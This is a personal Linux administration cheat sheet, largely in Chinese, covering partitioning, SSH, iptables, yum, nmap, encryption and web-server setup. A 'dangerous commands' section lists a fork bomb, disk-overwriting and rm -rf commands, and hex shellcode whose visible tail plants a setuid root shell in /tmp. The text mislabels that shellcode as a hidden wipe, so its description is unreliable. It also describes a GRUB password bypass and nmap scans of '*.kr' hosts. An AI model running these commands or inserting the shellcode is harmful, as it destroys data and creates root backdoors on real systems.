fcitx 中文输入法
- 通配符,代表一个或多个任意字符
? 通配符,仅表示一个任意字符
ctrol+alt+t #命令行终端快捷方式
Ctrl + Alt + F2 #X window切换到命令行模式
/boot
/bin 执行命令
/sbin 重要系统执行命令
/dev
/etc
/srv service
/var variable
/opt 第三方协力程式
/usr unix software resource
/tmp
/proc 内存中的数据
top参数
virt 是虚拟内存
res是常驻内存
shr是共享内存
1)下面以80G硬盘为服务器做的分区和挂载点:(本例是在VM6.0中虚拟的80G硬盘,安装Red Hat Linux9.0时进行的分区和挂载点设置)
1、空闲的80G SCSI硬盘.
2、先分一个1G分区,挂载点为:/
3、再分一个交换分区,是内存的1-2倍
4、分一个100M分区,挂载点为:/boot
5、分一个分区为1024M,挂载点为:/opt
6、分一个4000M分区,挂载点为:/tmp
7、分一个10G分区,挂载点为:/home
8、分一个20G分区,挂载点为:/usr/local
9、“使用全部可用空间”分一个区,挂载点为:/var
CentOS 6.7 用usb tool 安装后,报错,需修改U盘俩个目录下的文件名与后缀属性(packet/madiadata )
centos unable to read package metadata this may be due to a missing repodata directory
I believe that i had this same issue and was able to solve it.
The files under the /repodata folder are missing their file extensions and are not matching their full names in the “TRANS.TBL” file, under this same dir.
Rename all the files to match what is in the “TRANS.TBL” file, then try the install over again.
Please let everyone know if this works for you.
In the past i would just put a URL in that pointed to the correct files on a server, i feel that most people take this workaround and that’s why it’s not as hot of an item as it should be. I hope this gets fixed in the .ISO.
linux绕过密码
敲击28次以上退格键可调出grub救援界面(rescue shell)
bug位于grub2的bootloader中
====================通用常用命令=======================
1,rmdir directoryname #删除目录[空和非空文件夹]及子文件文件夹
rm filename #删除文件
rm -r foldername #递归删除文件夹,包括空文件
rm -f filename #无条件删除只读文件
rm -f / #强制删除root目录下所有内容(在.bashrc里添加alias
rm=’rm -i’执行前会提示)
rm -rf * #强制删除当前目录下的所有文件
rm -rf filename #强制删除文件或文件夹
rm -rf . #强制删除当前文件夹和子文件夹
rmdir file
2,mv #重命名对文件mv a.txt b.txt,对目录mv a b,对跨目录则是移动mv
a.txt /root/b.txt
mv flodername /dev/null #清空flodername下的数据
3,yum -y groupinstall chinese-support#Linux中文乱码解决方法,安装中文支持
4,rpm -qa|grep yum #查看是否安装yum
5,rpm -e yum-fastestmirror-1.1.16-14.el5.centos.1 #卸载安装的yum
rpm -e -nodeps yum
6,/etc/rc.d/init.d/nscd restart
service nscd restart #清空DNS缓存
7,ls -al | more
ls -al | less #ls分页显示
ls -lnt | more #ls按修改时间分页排列
8,tar -zxf filename.tar.gz #解压缩安装包
./install
9,./ #代表当前目录,相对路径,如果没有这个就要写绝对路径
10,fdisk -l #显示分区表信息
11,df -m #MB显示硬盘信息
df -hl #查看磁盘剩余空间
free -ml #查看内存使用情况
执行sysctl -w vm.drop_caches=3,清空缓存。
echo 3 > /proc/sys/vm/drop_caches && swapoff -a && swapon -a && printf ‘\n%s\n’ ‘Ram-cache and Swap Cleared’
12,su,sudo
su - #切换至root用户及其环境下
======危险命令===============================================
12,){:|:&};:
#一种fork炸弹,它定义一个叫“:”的函数,然后在前后台无限循环调用自己直到系统崩溃
13,任意命令 > /dev/sda
#执行任意命令并输出到/dev/sda。结果就是/dev/sda里的文件会被命令的输出内容替换。
14,下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:
char esp[] attribute ((section(“.text”))) / e.s.p
release /
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
15,ln-在文件之间创建链接
ln -s source_file softlink #对文件建立软链接
ln -s source_directory softlink #对目录建立软链接
ln source_file hardlink #对文件建立硬链接
软/硬链接的区别
软链接相当于windows的快捷方式
硬连接就像一个文件有多个文件名
16,查公网ip
curl ipinfo.io
curl cip.cc
telnet cip.cc
ftp cip.cc
links ipinfo.io
links canyouseeme.org
===========The end============================================
====系统配置命令===================================
1,忘记ROOT密码
在grub引导菜单界面->按“e”->进入grub编辑模式->将光标移到kernek开头的那一行->在最后方输入“single”->按“Enter”->按“b”(有的可忽略)->键入passwd命令改密
2,时间修改
#date MMDDhhmmYYYY #修改系统时间MM:月份,DD:日期,hh:小时,mm:分钟,YYY年份
#hwclock -r #读取BIOS时
#hwclock -w #将系统时间写入BIOS
hwclock –set –date=”12/30/17 14:55 #设置硬件时钟
hwclock –hctosys #系统与硬件时钟同步
cat /etc/redhat-release #查看centos系统版本
3,init 0 #=windows shutdown -s
init 6 #=windows shutdown -r
3,ps -A #列出所有进程
ps -ef #列出所有进程(更详细),ppid为父进程
ps -aux | grep test #
top #实时监控进程
perf #系统性能调优工具-linux瑞士军刀
4,kill -9 325 #干掉PID为325的进程
5,pkill -KILL -t pts/0 #强制将pts/0踢出
6,crontab -l #查看自启动项目
crontab -e #编辑自启动条目
5,ssh
linux 终端下ssh远程linux
ssh username@ip
ssh -l admin 192.168.1.27 #ssh指定admin登录
ssh -l root -p 52014 192.168.1.25 #ssh指定root在52014口登录,修改过登录端口】
/etc/ssh/sshd_config
/etc/ssh/ssh_config #ssh配置文件
【/etc/inetd.conf,去掉ssh前的#,按ctrl+c,再输入exit保存退出】
【编辑/etc/rc.conf,添加一行sshd_enable=”YES”】
编辑/etc/ssh/sshd_config,
port 22->port 52014 //改登陆端口为52014,[记得iptable要同步修改]
ListenAddress 192.168.30.254 //指定登录地址
Protocol 2 //使用的协议版本
PermitRootLogin yes
PasswordAuthentication yes #
#UsePAM yes //使用系统PAM认证
PermitEmptyPasswords no #不允许空密码
AllowUsers root 指定登陆用户【只能是系统已存在用户名】
启动SSHD服务,/etc/rc.d/sshd start
ssh使用证书+短语|密钥对+短语登陆
用xshell->Tools->User Keys manager->Generater生成私钥id_rsa_2048,和公钥id_rsa_2048.pub
拷贝公钥到linux ~/.ssh/ 目录下
再
cat id_rsa_2048.pub > authorized_keys
当然,如果是Linux对linux,则可
scp id_rsa_2048.pub root@192.168.168.11/~/.ssh/authorized_keys
如果是在linux环境下,通过ssh-keygen -t rsa生成密钥对
ssh-keygen -t ed25519 -o -a 100 -C “Your comment here”
ssh-keygen -t rsa -b 4096 -o -a 100 -C “Your comment here”
vi /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
PasswordAuthentication no
#如果要禁止密码登陆要这句,不可以直接注释此句,建议在确定密钥对可以登录后再禁止密码登陆
注意~/.ssh的权限
拷贝公钥和私钥给要连接的客户登陆
最后修改防火墙,放行端口,再重启防火墙
6,Ctrl+D #退出root
7,给登陆用户发消息
write 要通知的登陆的用户名 终端号
write user pts/3 回车然后写消息再回车,Ctrl+d离开
wall 消息内容 #群发给所有登陆用户消息
8,mtr 8.8.8.8 #类似于Windows的pathping
9,开启snmp,CactiEZ监控linux
1>vi /etc/sysconfig/iptable #编辑防火墙放行161口
-A INPUT -m state –state NEW -m udp -p udp –dport 161 -j ACCEPT
/etc/init.d/iptables restart #重启防火墙
2>yum -y install net-snmp #安装net-snmp,如果没有安装
chkconfig snmpd on #设置开机启动
service snmpd start #启动snmpd
4>vi /etc/snmp/snmpd.conf
sec.name source community
con2sec notconfigUser 192.168.1.253 systemtest #systemtest为团体标示
10,系统日志
/var/log/messages #Linux常见的系统和服务错误信息
/var/log/lastlog #记录最后一次成功登陆用户的时间ip等
/var/log/secure #系统安全日志,用户登陆情况
/vat/log/btmp #记录登陆失败用户的时间,IP等
/var/log/crom #记录crond计划任务的执行情况
/var/log/~.bash.histry #记录历史执行的命令(默认1000条)
history -c #清楚历史命令记录
last -x
#显示系统关闭,用户登陆和退出的历史(其实就是读取/var/log/secure 文件)
tail -f /var/log/messages #实时显示messages日志内容,起监控效果
tail -n 100 -f /var/log/messages #实时显示messages日志前100行
11,配置DNS
vim /etc/resolv.conf
12,FreeBSD-UNIX IP配置
ee /etc/rc.conf
ifconfig_eh0=”inet 192.168.1.1 netmask 255.255.255.0
ifconfig eh0 192.168.1.1 255.255.255.0
13,linux网络参数配置
/etc/sysconfig/network-scripts/ifcfg-eth0 #IP配置文件
/etc/resolv.conf #DNS配置文件
/etc/sysconfig/network #配置主机名和默认网关
/etc/sysconfig/network-scripts/ifcfg-eth0 static模板
DEVICE=eth0
TYPE=Ethernet
UUID=ae6ca84b-4c6a-453f-b07b-56ef614e4e99
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=none
DEFROUTE=yes
IPV4_FAILURE_FATAL=yes
IPV6INIT=no
NAME=”System eth0”
HWADDR=00:0C:29:8D:F1:0C
IPADDR=192.168.1.25
PREFIX=24
GATEWAY=192.168.1.1
DNS1=8.8.8.8
LAST_CONNECT=1455653005
/etc/sysconfig/network-scripts/ifcfg-eth0 dhcp模板
DEVICE=eth0
TYPE=Ethernet
ONBOOT=yes
BOOTPROTO=dhcp
DEFROUTE=yes
PEERDNS=no #不使用DHCP分配的DNS
UUID=5fb06bd0-0bb0-7ffb-45f1-d6edd65f3e03
HWADDR=00:0c:29:8d:f1:0c
/etc/sysconnfig/network模板
NETWORKING=yes
NETWORKING_IPV6=no
GATEWAY=192.168.106.1
HOSTNAME=Dialog
ifdown eth0 #关闭eth0接口
ifup eth0
#开启eth0接口,如果遇到ip地址配好后网络无连接,则用此命令激活接口
watch ifconfig et0 #查看网卡0实时流量
service network start/stop/restart #启动/停止/重启网络服务
14,/var/www/html #存放网站目录
15,复制
文件到目录
cp -i file dir1/ 或者cp file1 dir1
覆盖前,确认
cp -r dir1/ dir2/ 或者cp -r dir1/. dir2 -r 是递归目录
cp -rf dir1/ dir2/
cp /www/web/ /var/www/ #目录拷贝
cp -r dir1/. dir2 #拷贝目录下所有文件及目录到目录
cp file1 file #覆盖文件会询问要输入y确认
cp -p filename1 filename2 #替换并保持源替换文件的权限(filename1)权限
mkdir #新建目录
useradd oracle –g oinstall –G dba –d /home/oracle –p ora123
系统将创建一个用户 oracle oracle 用户的首要组为oinstall ,次要组为dba,Home 目录为/home/oracle ,密码为ora123。
scp
====复制文件
【scp local_file remote_username@remote_ip:/remote_folder/remote_filename
#复制本地文件到远端指定目录和文件名,不定义远端文件名则为原文件名】
【scp remote_username@remote_ip:remote_folder/remote_file local_folder/local_filename #复制远端文件到本地指定的目录指定的文件名】
scp local_file remote_username@remote_ip:remote_folder #指定远端用户名和目录,文件名不变
scp local_file remote_ip:remote_folder #指定远端目录,需要验证用户名和密码
====复制文件夹
【scp -r local_folder remote_username@remote_ip:remote_folder #复制本地文件夹到远端】
【scp -r remote_username@remote_ip:remote_folder local_folder #复制远端文件夹到本地】
scp -r local_folder remote_username@remote_ip:remote_folder
scp -P 4588 -v root@/
scp /home/daisy/full.tar.gz root@172.19.2.75:/home/root #把本地tar.gz复制到远端
scp root@172.19.2.75:/home/root/full.tar.gz home/daisy/full.tar.gz #把远端tar.gz复制到本地
scp -l 100 remote_username@remote_ip:remote_folder/remote_file local_folder/local_filename #限速100kbit/s下载远端文件
16,netstat -apn #查看服务和端口
netstat -an | grep LISTEN #debain查看监听的开启的端口
已安装的程序及服务名称可以到/etc/init.d/目录下去查看
netstat -atunp
16,find -name ‘vnc‘ #当前目录查找包含VNC的文件
find / -amin -10 # 查找在系统中最后10分钟访问的文件
find / -atime -2 # 查找在系统中最后48小时访问的文件
find / -empty # 查找在系统中为空的文件或者文件夹
find / -group cat # 查找在系统中属于 groupcat的文件
find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件
find / -mtime -1 #查找在系统中最后24小时里修改过的文件
find / -mtime -1 |xargs rm -rf #找出最后24小时里修改过的文件再删除
find / -name “*.txt” #查找出/目录下所有.txt结尾的文件
whereis
17,yum list installed #查看已安装的程序
yum list installed | grep vnc #查看是否有安装vnc
yum remove vnc-server.i386 #卸载旧的vnc
18,yum
yum 的配置文件分为两部分:main 和repository
main 部分定义了全局配置选项,整个yum 配置文件应该只有一个main。常位于/etc/yum.conf 中。
repository 部分定义了每个源/服务器的具体配置,可以有一到多个。常位于/etc/yum.repo.d 目录下的各文件中。
yum -y install program’s name #-y是不询问
19,locate ifcfg /定位文件名含“ifcfg”
find / -name network #从根目录开始找文件名问network的文件
=whereis for debain-linux
20,iptables
input
-A INPUT -p tcp -m tcp -s 202.131.87.201/32 –dport 22 -j ACCEPT
======================
output
iptables -A OUTPUT -d 192.168.168.1 -j DROP
iptables -A OUTPUT -d 192.168.168.0/24 -j REJECT
端口映射
debain
iptables -t nat -A PREROUTING -d 192.168.106.1 -p tcp –dport 80 -j DNAT
–to-destion 192.168.106.3:80
iptables -t nat -A POSTROUTING -d 192.168.106.3 -p tcp –dport 80
iptables -t nat –list #检查配置的转发情况
postrouting路由转发配置
iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -j SNAT –to-source 172.16.100.106 #将10.0段路由至本地100.106
cat /proc/sys/net/ipv4/ip_forward #检查网卡路由转发是否开启
echo 1 > /proc/sys/net/ipv4/ip_forward #开启网卡转发功能
本机端口转发到他机
[root@localhost]#:iptables -t nat -A PREROUTING -p tcp -i eth0 –dport 80 -j DNAT –to 192.168.168.35:80
[root@localhost]#:iptables -t nat -A POSTROUTING -j MASQUERADE
[root@localhost]#:service iptables save
[root@localhost]#:service iptables restart
21,修改yum源
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup #备份原有的镜像源
cd /etc/yum.repos.d/
wget mirrors.163.com/.help/CentOS5-Base-163.repo
yum clean all
yum makecache
例如:163镜像
http://mirrors.163.com/.help/centos.html #先上网站找到对应版本的repo
添加aliyun源
cd /etc/yum.repos.d
vim aliyun.repo
[aliyun]
name=Centos epel
baseurl=http://mirrors.aliyun.com/epel/$releasever/$basearch/
gpgcheck=0
yum clean all
yum makecache
vi /etc/apt/sources.list #修改源
替换Base源为aliyun源
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repo
【CentOS 5】
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo
【CentOS 6】
22,新增硬盘
fdisk -l #查看新增硬盘,这里以sdb为例
fdisk /dev/sdb #进行分区
n #创建新分区
p #主分区
1 #块数
Enter #
w #保存修改
出现/dev/sdb1
mkfs -t ext3 /dev/sdb1 #格式化sdb1
df -m #查看挂载的目录,当然也可以mount /dev/sdb1 /mnt #指定挂载目录
vi /etc/fstab #设置开机自动挂载
23,lsof -i #查看端口占用情况
lsof -i:80 #查看80端口占用情况
telnet x.x.x.x 22 #检测TCP端口
nc -vuz x.x.x.x 500 #检测UDP端口
24,chkconfig
level:指定系统服务要在哪一个执行等级中开启或关闭
0:关机;
1:单用户模式;
2:无网络连接的多用户命令行模式;
3:有网络连接的多用户命令模式
4:不可用;
5:带图形界面的多用户模式;
6:重新启动;
chkconfig –list #列出所有的系统服务
chkconfig –list httpd #检查httpd服务的启动
chkconfig –add httpd #增加httpd服务
chkconfig –del httpd #删除httpd服务
chkconfig –level httpd 2345 on #设置httpd在2345运行级别情况下开启;
25,
26,终端乱码
locale #查看系统安装的语言包
1、系统必须安装中文语言包才行
yum -y groupinstall chinese-support
2、仅仅有语言包还不行,我们得设置相应的字符集
临时生效
export LANG=”zh_CN.UTF-8” # 设置为中文
export LANG=”en_US.UTF-8” # 设置为英文 ,export LANG=C
永久生效,
vim /etc/sysconfig/i18n
LANG=”zh_CN.UTF-8”
或者
vim /etc/profile #添加如下一行
export LANG=”zh_CN.UTF-8”
. /etc/profile #重新载入
查看当前的字符
echo $LANG #查看当前的字符
如果还不行,可以改终端软件securecrt,xshell的编码方式为当前系统的编码方式
27,alias 别名设置
配置用户alias
unalias cp #当前shell使cpalias失效,新shell恢复
vim /etc/bashrc
vim /etc/profile
cd ~
vim .bashrc
source ./bashrc #使配置生效,如果无效可以重连shell
28,crontab
crontab文件的格式:M H D m d cmd.
M: 分钟(0-59)。
H:小时(0-23)。
D:天(1-31)。
m: 月(1-12)。
d: 一星期内的天(0~6,0为星期天)。
cmd要运行的程序
45 4 1,10,22 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月1、10、22日的4 : 45重启apache。
10 1 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重启apache。
0,30 18-23 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示在每天18 : 00至23 : 00之间每隔30分钟重启apache。
0 /1 /usr/local/etc/rc.d/lighttpd restart
每一小时重启apache
0 23-7/1 /usr/local/etc/rc.d/lighttpd restart
晚上11点到早上7点之间,每隔一小时重启apache
crontab -e #编辑crontab
29,du 显示空间占用情况
du [option]
-h:以人类便读的方式显示KB,MB,GB
-a:显示目录及子目录的大小
-s:不显示子目录
du -sh #显示当前目录大小
du -sh var/www/ #显示指定目录大小
df -h #查看磁盘使用情况
30,chattr
chattr -R -i 目录 #给指定目录及子目录解锁
chattr -R +i 目录 #给指定的目录及子目录加锁
lsattr #查看隐藏属性
31,awk
awk的工作流程:读入有’\n’换行符分割的一条记录,然后将记录按指定的域分隔符划分域,填充域,$0则表示所有域,$1表示第一个域,$n表示第n个域。默认域分隔符是”空白键” 或 “[tab]键”
awk
cat /etc/passwd |awk -F ‘:’ ‘{print $1}’
awk ‘END{print NR}’ filename #取文件的行数
32,环境变量
常见的环境变量
PATH:决定了shell将到哪些目录中寻找命令或程序
HOME:当前用户主目录
MAIL:是指当前用户的邮件存放目录。
SHELL:是指当前用户用的是哪种Shell。
HISTSIZE:是指保存历史命令记录的条数。
LOGNAME:是指当前用户的登录名。
HOSTNAME:是指主机名称
CLASSPAHT:指定类搜索路径
JAVA_HOME:jdk的安装目录
java,tomcat环境变量配置
方法一:修改.bash_profile文件(在用户的家目录下)环境变量,只对当前用户有用(推荐)
cd ~
vim .bash_profile
export JAVA_HOME=/usr/java/jdk1.8.0_131
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPAHT=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export TOMCAT_HOME=/opt/tomcat
最后source .bash_profile
方法二:(不推荐,对所有用户,危险)
vim /etc/profile 在末尾如下添加
export JAVA_HOME=/usr/java/jdk1.8.0_131
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPAHT=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export TOMCAT_HOME=/opt/tomcat
source /etc/profile
方法三:(易维护,对所有用户,危险,不推荐)
cd /etc/profile.d
vim java.sh
export JAVA_HOME=/usr/java/jdk1.8.0_131 或者export JAVA_HOME=/usr/java/latest
export PATH=$PATH:$JAVA_HOME/bin
vim tomcat.sh
export TOMCAT_HOME=/opt/tomcat
./etc/profile.d/java.sh
./etc/profile.d/tomcat.sh #执行一下sh
33,关于网络监控
yum install iftop iftop报告每个连接所使用的带宽
yum install nload 实时看总带宽
=============程序的安装与卸载===================
rpm安装与卸载
rpm -rebuild .src.rpm
cd /usr/src/dist/RPMS
rpm -ivh .rpm
rpm卸载
rpm -qa|grep softname #确定安装的软件版本
rpm -ql softname #程序软件安装目录
rpm -e softname_version #softname_version是上面查询到的完整的名称
rpm -e|grep gnome #卸载有些程序要加用模式匹配
rpm -e softname_version –nodeps #不考虑依赖关系
源码编译安装应用程序
1>tar -xzvf xx.tar.gz
2>cd xx
3>./configure
【./configure –prefix=/opt/xx 指定安装目录】
4>make
5>make install
6>make clean
26,useradd 用户名 #新建用户
groupadd 组名 #新建组
usermod -G 组名 用户名 #给用户添加工作组
passwd [parameter] 用户名 #改密码
parameter: -I 禁用账户
-u 口令解锁
-d 无口令
-f 下次登陆修改口令
====about tool=======================================
1,vi
:set nu #显示行号
gg/1003gg/:n #跳到开头/跳到1003行/跳到n行
:set encoding=utf-8 #设置编码方式
x,X #x向后删除一个字符,X向前删除一个字符
dd #删除所在行
yy #复制所在行
p,P #p粘贴到光标下一行,P粘贴到上一行
2,Tigernvc
#rpm -qa | grep vnc #检查是否有安装vnc server
rpm -ivh program’s name
rpm -e 列出的程序名称 #卸载某程序
#yum groupinstall “X Window System” “Desktop”
#yum install tigervnc
#yum install tigervnc-server #安装vnc
#vncserver #启动vncserver
#vncpasswd #设置vnc访问密码
#netstat -tulnp | grep X #查看vnc所使用的端口
#tcp 0 0 0.0.0.0:5901 0.0.0.0:* LISTEN 14319/Xvnc
#tcp 0 0 0.0.0.0:6001 0.0.0.0:* LISTEN 14319/Xvnc
#tcp 0 0 :::6001 :::* LISTEN 14319/Xvnc #开启端口
#servicee ipstables stop
#vim /etc/sysconfig/iptables #编辑iptables
-A INPUT -i eth0 -m state –state NEW -m tcp -p tcp –dport 5901 -m mark –mark 0x64 -j ACCEPT
-A INPUT -i eth0 -m state –state NEW -m tcp -p tcp –dport 6001 -m mark –mark 0x65 -j ACCEPT
贴一个做了1891->5901,1991->6001的iptables
[root@myweb ~]# vim /etc/sysconfig/iptables
Firewall configuration written by system-config-firewall
Manual customization of this file is not recommended.
mangle
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
-A PREROUTING -i eth0 -p tcp –dport 1991 -j MARK –set-mark 0x64
-A PREROUTING -i eth0 -p tcp –dport 1891 -j MARK –set-mark 0x65
COMMIT
nat
:PREROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
-A PREROUTING -i eth0 -p tcp –dport 1991 -m mark –mark 0x64 -j DNAT –to-destination :6001
-A PREROUTING -i eth0 -p tcp –dport 1891 -m mark –mark 0x65 -j DNAT –to-destination :5901
COMMIT
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -m state –state NEW -m tcp -p tcp –dport 6001 -j ACCEPT
-A INPUT -m state –state NEW -m tcp -p tcp –dport 5901 -j ACCEPT
#vim /etc/sysconfig/vncservers #编辑VNC配置文件
VNCSERVERS=”1:root”
VNCSERVERARGS[1]=”-geometry 1024x768 -alwaysshared -depth 24” #x是小写字母x,-alwaysshared 是多用户同时登陆
#service vncserver restart #重启vncserver
chkconfig vncserver on #配置子启动
vncserver -kil :n #关闭vncserver
xauth: (stdin):1: bad display name “Dialog:4” in “add” command
#如有所示报错,则应将/etc/hosts中的host名改成与主机名一致
cat /root/.vnc/localhost.log #vncserver启动后,可以通过查看vnc
log文件查看监听的端口
3,sftp
linux 终端下sftp远端
sftp username@ip
put -r 目录名
put -r 目录名/.
#上传目录所有文件含目录本身
put -r 目录名/* #上传目录内所有文件,不含目录本身
get -r . #下载当前目录所有,含目录
【注意当前登录用户没有所在目录权限时目录或文件编辑受限,拒绝 访问】
lcd #local cd
lpwd #local pwd
cd #remote host cd
pwd #remote host pwd
4,用nmap检测一下目标网站的系统服务和一些端口banner的信息。
Nmap -v -sT -sV -O -P0 -oX test.xml *.kr
nmap -T4 -A targetip #全面扫描
nmap -T4 -sn targetip #主机发现
nmap -T4 targetip #端口扫描
nmap -T4 -sV targetip #服务扫描
nmap -T4 -0 targetip #操作系统扫描
nmap -sP -PI -PT 202.131.84.1/24 #扫描84段的主机存活
5,find -name ‘vnc‘ #查找当前目录下所有包含‘vnc’的文件
6,cryptsetup磁盘加密
cryptsetup luksFormat /dev/sdb1 #设置加密分区,注意开始前要先umount
cryptsetup luksOpen /dev/sdb1 disk1 #将分区映射到/dev/mapper/disk1
mkfs.ext4 /dev/mapper/disk1 #格式化加密分区
mount /dev/mapper/disk1 /mnt/luks #在/mnt/luks挂载加密分区
df -m #查看挂载情况
umount /dev/mapper/disk1 #卸载加密分区
cryptsetup luskClose /dev/mapper/disk1 #关闭加密分区
vi /etc/crypttab 分区加密的配置文件
disk1 /dev/sdb1 /root/key(如果这里写none的话,当系统启动时在读取分区时候,会一直停在那,等待输入密码)
echo -n “123” > /root/key 生成密码文件
chmod 700 /root/key 修改权限
cryptsetup luksAddKey /dev/sdb1 /root/key 添加口令到/dev/sdb1中
cat /etc/crypttab
disk1 /dev/sdb1 /root/key
vi /etc/fstab 自动挂载文件
/dev/mapper/disk1 /mnt/luks ext4 defaults 0 0
mount –a 重新挂载/etc/fstab里的内容,如果报错的话就需要重启系统
7,screen
attached 附加的 detached 分离的
screen -S 作业名称 #新建一个作业
screen -ls #显示所有screen的作业
screen -r 作业名称 #回到指定作业session
screen -d 作业名称 #detach分离指定的session
screen -d -r 作业名称 #分离当前session返回到指定session
Ctrl+a+d
#detach,离开当前session回到没进screen时的状态,当前session保持执行,即使logout也不会中断。
exit #离开结束当前screen
Ctrl+a+k #杀死当前session,并杀死与窗口同时运行的所有进程
==============================
8,tar
tar -parameter file/dictory
[parameter]:
-c:打包 compress
-x:解包
-v:输出处理过程中相关信息
-t:不解压先只列出压缩包列表
-f:
-z: gzip属性
-j:bzip2属性
-p:preserve permissions
-C:解压缩到指定的目录
tar -czvf my.tar filename #gzip打包压缩文件filename
tar -cvf tartest.tar ./* –exclude x1 –exclude x2
#tar打包当前目录下的除x1,x2的所有文件
tar -czvf my.tar filename1 filename2 #打包gzip压缩多个文件
tar -czvf my.tar dirctory #打包gzip压缩单个目录
tar -czvf - filename | openssl des3 -d | dd of=filename.des3
tar -czvf - filename | openssl des3 -salt -k password | dd of=filename.des3
#加密打包,密码是password
tar -xzvf my.tar #解包到当前目录
tar -xzvf my.tar.gz -C /home/user #解包my.tar.gz到/home/user
dd if=filename.des3 | openssl des3 -d -k password | tar -xzvf -
#解密压缩包password是要输入的之前加密用的密码
dd if=test.des3 |openssl des3 -d -k Tvb3Ring2014##|tar -xzvf -
zip
zip加密压缩
zip -re filename.zip filename
unzip filename.zip
zip -rP password filename.zip filename
zip -P password filename.zip
curl,split=======
大文件分割
curl –range 0-19999999 -o filename-part1
crul –range 20000000- -o filename-part2
split -b 20m filename filename.part
example:
split -b 20m test.tar.gz test.tar.gz.part
合并
linux
cat filename-part > root.tar.gz
windows
新建文件夹,然后将要合并的文件移到新建文件夹下(主要是后缀不同,无法通配,所以新建文件夹比较方便)
copy /b .* root.tar.gz
md5sum filename #md5sunm校验md5,如果md5不一致,一定是有文件被更改,可能是遗漏或丢失
ftp server=====
ps -ef|grep vsftpd
yum install vsftp -y
vim /etc/vsftpd/vsftpd.conf
anonymous_enable=NO
chkconfig –list
chkconfig –level 35 vsftpd on
useradd ftp
passwd ftp2017
service vsftpd start
/etc/rc.d/init.d/vsftpd restart
============================
7,apache
系统默认安装的apache主配置文件:/etc/httpd/conf/httpd.conf
默认站点目录:/var/www/html
vim vhost/**.com.conf
DocumentRoot /var/www/html
ServerName *.com #域名
ServerAlias www.*.com #二级域名
Options FollowSymLinks
AllowOverride all #重定向
Order allow,deny
Allow from all
一台主机可以多apache http web服务,放不同目录,然后去目录下启动
关于http启动指定配置文件的方法
/opt/adobe/ams/Apache2.4/bin/httpd -f ./conf/httpd.conf -d /opt/adobe/ams/Apache2.4 -k start
============================
8,flash media server-fms
./fmsmgr server fms restart #重启FMS
./fmsmgr adminserver restart #重启admin server
目录,文件说明=====
/opt/adobe/fms/webroot/swfs/adobedemoplyaer_pc.swf #播放器
/opt/adobe/fms/webroot/swfs/fms_adminConsole.swf #fms的控制管理界面
/opt/adobe/fms/webroot/swfs/LiveSample.swf #直播流测试工具=====
/opt/adobe/fms/conf/fms.ini/
fms配置文件,是各层xml(Server.xml,Adaptor.xml,Vhost.xmlApplication.xml,Logger.xml,User.xml)配置文件中关键部分提取
实体======
/opt/adobe/fms/applications/live
/opt/adobe/fms/applications/livepkgr
修改fms自带apache端口
vi /opt/adobe/fms/conf/httpd.conf
Listen 80->Listen 8080
============================
=====================
9,nginx
nginx的源码安装
yum -y install gcc gcc-c++ make libtool zlib zlib-devel openssl openssl-devel pcre pcre-devel #安装缺少的依赖包
cd /usr/local/src
wget nginx.org/download/nginx-1.12.0.tar.gz #下载nginx
mkdir /usr/local/nginx-1.12.0
tar -xzvf nginx-1.12.0.tar.gz
cd nginx-1.12.0
./configure –prefix=/usr/local/nginx-1.12.0
make
make install
groupadd www #添加组
useradd -g www www -s /bin/false #添加用户
cd /usr/local/nginx-1.12.0
./sbin/nginx -t #测试配置文件是否正确
========end=============
=====================
10,mysql
/etc/rc.d/init.d/mysqld start
netstat -tulnp|grep 3306
========end============
====================
11,lamp环境
yum -y install httpd
chkconfig httpd on #开机自启
yum -y install httpd-manual mod_ssl mod_per mod_auth_mysql #
安装apache的一些扩展
yum -y install mysql mysql-server mysql-devel
chkconfig mysqld on
yum -y install php php-mysql #PHP支持mysql模块
yum -y install gd php-gd gd-devel php-xml php-common php-mbstring php-ldap php-pear php-xmlrpc php-imap
vi /etc/httpd/conf/httpd.conf
Options FollowSymLinks
AllowOverride all
Order allow,deny
Allow from all
vi /etc/httpd/conf/vhost/126tyc.com.conf
DocumentRoot /var/www/126tyc
ServerName 126tyc.com
ServerAlias www.126tyc.com
Options FollowSymLinks
AllowOverrride all
Order allow,deny
Allow from all
